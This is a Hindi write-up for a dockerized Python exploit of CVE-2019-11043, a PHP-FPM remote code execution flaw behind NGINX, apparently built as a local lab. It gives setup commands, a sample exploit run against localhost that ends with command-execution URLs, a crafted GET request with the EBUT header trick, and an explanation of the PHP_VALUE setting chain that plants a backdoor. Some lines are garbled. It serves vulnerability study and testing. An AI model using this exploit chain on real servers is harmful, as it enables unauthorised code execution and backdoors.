
CVE-2019-11043 के लिए डॉकराइज़्ड पायथन एक्सप्लॉइट, जो NGINX कॉन्फ़िगरेशन में एक गंभीर PHP-FPM रिमोट कोड निष्पादन भेद्यता है। इसमें सेटअप, उपयोग और विस्तृत विश्लेषण शामिल है।
CVE-2019-11043 शोषण का एक पायथन कार्यान्वयन
CVE-2019-11043 के रूप में दर्ज शोषण, PHP-FPM के कार्यान्वयन में एक बग का लाभ उठाता है जो NGINX सर्वर के संयोजन में होता है। कुछ विन्यासों में, FastCGI path_info में एक नियमित अभिव्यक्ति FPM मॉड्यूल को आवंटित बफ़र्स से परे FastCGI प्रोटोकॉल डेटा के लिए आरक्षित स्थान में लिखने का कारण बनता है। इसके परिणामस्वरूप, एक वेब उपयोगकर्ता दूरस्थ रूप से कोड निष्पादित करने में सक्षम हो सकता है। निम्न तालिका सामान्य कमजोरी स्कोरिंग सिस्टम (CVSS) के अनुसार शोषण की गंभीरता का मूल्यांकन दर्शाती है।
| मीट्रिक | मान |
|---|---|
| प्रभाव स्कोर | 5.9 |
| आधार स्कोर | 9.8 |
| गंभीरता | गंभीर |
| अभिगम वेक्टर | नेटवर्क |
| गोपनीयता | उच्च |
| अखंडता | उच्च |
| उपलब्धता | उच्च |
डॉकर इमेजेस:
पायथन:
प्रोजेक्ट चलाने के लिए Docker और docker-compose की स्थापना आवश्यक है।
प्रोजेक्ट की रूट डायरेक्टरी से निम्नलिखित कमांड चलाकर सभी आवश्यक डॉकर इमेजेस डाउनलोड हो जानी चाहिए और कंटेनर सही क्रम में शुरू हो जाने चाहिए:
docker-compose up
सेटअप को डेमॉनाइज़्ड चलाने के लिए, निम्नलिखित कमांड निष्पादित करें:
docker-compose up -d
डेमॉनाइज़्ड शुरुआत को रोकने के लिए, निम्नलिखित कमांड निष्पादित करें:
docker-compose down
उदाहरण
# docker-compose up -d
Creating php ... done
Creating nginx ... done
# python3 exploit.py --target http://localhost:11043/index.php
🚀🚀🚀 Starting...
? Requesting target to find qsl candidates.
[Response] Status sode is 502 for QSL 1761. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1762. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1763. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1764. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1765. Meets criteria and added as candidate
Post processed QSL candidate(s): 1751, 1752, 1753, 1754, 1755, 1756, 1757, 1758, 1759, 1760, 1761, 1762, 1763, 1764, 1765
⚙️ Testing found candidates
[Test] QSL Candidate: 1751
[Test] QSL Candidate: 1752
[Test] QSL Candidate: 1753
[Test] QSL Candidate: 1754
[Test] QSL Candidate: 1755
💣 Target seems vulnerable with attack parameters: (QSL:1755/HVL:8): PHPSESSID=b83281b19399d7725091ad4b2b20e530; path=/
✅ Success: Remote Code Execution exploit successfully deployed!
You should be able to run commands using:
🌍 curl http://localhost:11043/index.php?a=bin/ls+/
or
🌍 curl http://localhost:11043/index.php?a=%0asleep+5%0a+/
यह कमजोरी Real World CTF 2019 क्वालिफिकेशन राउंड के दौरान पाई गई, जब एक सुरक्षा शोधकर्ता, एंड्रयू डानाउ ने पाया कि एक नई लाइन नियंत्रण वर्ण %0A भेजने से सर्वर के कोड में एक अपवाद आता है।
fastcgi_split_path_info निर्देश में नियमित अभिव्यक्ति को नई लाइन वर्ण (एन्कोडेड रूप में, %0A) का उपयोग करके तोड़ा जा सकता है। टूटी हुई नियमित अभिव्यक्ति तब एक खाली PATH_INFO की ओर ले जाती है, जो बग को ट्रिगर करती है।
चूंकि env_path_info वेरिएबल path_info का पता है, path_info 0 है, इसलिए pilen भी 0 है। slen अनुरोधित URL की लंबाई है।

URL पथ और क्वेरी स्ट्रिंग की सावधानीपूर्वक चुनी गई लंबाई का उपयोग करके, एक हमलावर path_info को _fcgi_data_seg संरचना के पहले बाइट पर सटीक रूप से इंगित कर सकता है। इसमें शून्य डालने से char* pos फ़ील्ड पीछे चली जाती है, और बाद में FCGI_PUTENV स्क्रिप्ट पथ के साथ कुछ डेटा (अन्य फास्ट सीजीआई चर सहित) को ओवरराइट करता है। इस तकनीक का उपयोग करके, कमजोरी एक नकली PHP_VALUE FCGI वेरिएबल बनाने की अनुमति देती है और फिर कोड निष्पादन प्राप्त करने के लिए सावधानीपूर्वक चुने गए कॉन्फ़िग मानों की एक श्रृंखला का उपयोग करती है।

int ptlen = strlen(pt);
int slen = len - ptlen;
int len = script_path_translated_len;
len URL पथ की लंबाई है
http://localhost:11043/index.php/TUD%0aNetSec.php है/var/www/html/index.php/TUD\nNetSec.php हैptlen URL पथ में पहले स्लैश से पहले की सामग्री की लंबाई है
http://localhost:11043/index.php/TUD%0aNetSec.php हैpt /var/www/html/index.php हैदो वेरिएबल "len" और "ptlen" के बीच का अंतर URL में निर्दिष्ट पथ की लंबाई है। चूंकि इन दोनों के पथ को नियंत्रित किया जा सकता है, वेरिएबल path_info को भी नियंत्रित किया जा सकता है।
चूंकि पथ नियंत्रणीय है, हम किसी भी पते के मान को शून्य पर सेट कर सकते हैं (पंक्ति 1222)। लक्षित पते के मान को शून्य पर सेट करके, हम _fcgi_data_seg संरचना के char* pos को शून्य पर नियंत्रित कर सकते हैं। इस दृष्टिकोण से हम एक बफर अंडरफ्लो का शोषण करते हैं और ग्लोबल वेरिएबल को सही मेमोरी स्पेस में लिखने में सक्षम होते हैं।
हैश और लंबाई की तुलना कुंजियों से पहले की जाती है। उपयुक्त हेडर और कुंजियों को सावधानीपूर्वक चुनकर, हम हेडर का उपयोग करके जोड़ सकते हैं। neex के निष्कर्षों के अनुसार, स्ट्रिंग "ebut", जो HTTP_EBUT बन जाती है, की लंबाई और FCGI_HASH मान PHP_VALUE के समान है। इस प्रकार सर्वर को एक GET अनुरोध भेजने पर
GET /index.php/PHP_VALUE%0Asession_start=1;;;
EBUT: tudda nwsec
हेडर HTTP_EBUT PHP_VALUE बन जाता है और मान session_start=1 हो जाता है।
निम्नलिखित सूची शोषणकर्ता को आवश्यक शर्तें देती है जिन्हें हमले को तैनात करने के लिए पूरा किया जाना चाहिए।
पहले चरण में हमें एक क्वेरी स्ट्रिंग लंबाई खोजनी होगी जिस पर एक नई लाइन नियंत्रण वर्ण %0A सर्वर के कोड में एक अपवाद का कारण बनता है और ऐसा कि सर्वर > 500 HTTP त्रुटि कोड के साथ प्रतिक्रिया करता है। इस जानकारी के आधार पर, हम अब PHP_VALUE लिखने और उसकी सामग्री को नियंत्रित करने का प्रयास कर सकते हैं। सबसे पहले, हम एक सत्र स्थापित करने का प्रयास करते हैं। यदि यह सफल होता है, तो हम सर्वर की कमजोरी से अवगत हो जाते हैं। इस बिंदु पर, हम जानते हैं कि हम PHP में किसी भी ग्लोबल वेरिएबल को नियंत्रित करने में सक्षम हैं।
सर्वर के साथ पूर्वोक्त स्थापित सत्र का उपयोग करके, हम ओवरराइट करते हैं और दूरस्थ कोड निष्पादन की अनुमति देने के लिए सर्वर की सेटिंग्स में अपनी आवश्यक शर्तें स्थापित करते हैं। शोषण के लेखक विशेष पीएचपी सेटिंग्स की एक सरणी स्थापित करते हैं। वह ऑटो इन्क्लूडिंग सक्षम करता है, पथ को /tmp पर सेट करता है, लॉग फ़ाइल पता /tmp/a पर सेट करता है और पेलोड को लॉग फ़ाइल में भी लिखता है। अंत में, पीएचपी फ़ाइल स्वचालित रूप से एक बैकडोर बनाने के लिए एक लॉग फ़ाइल शामिल करेगी।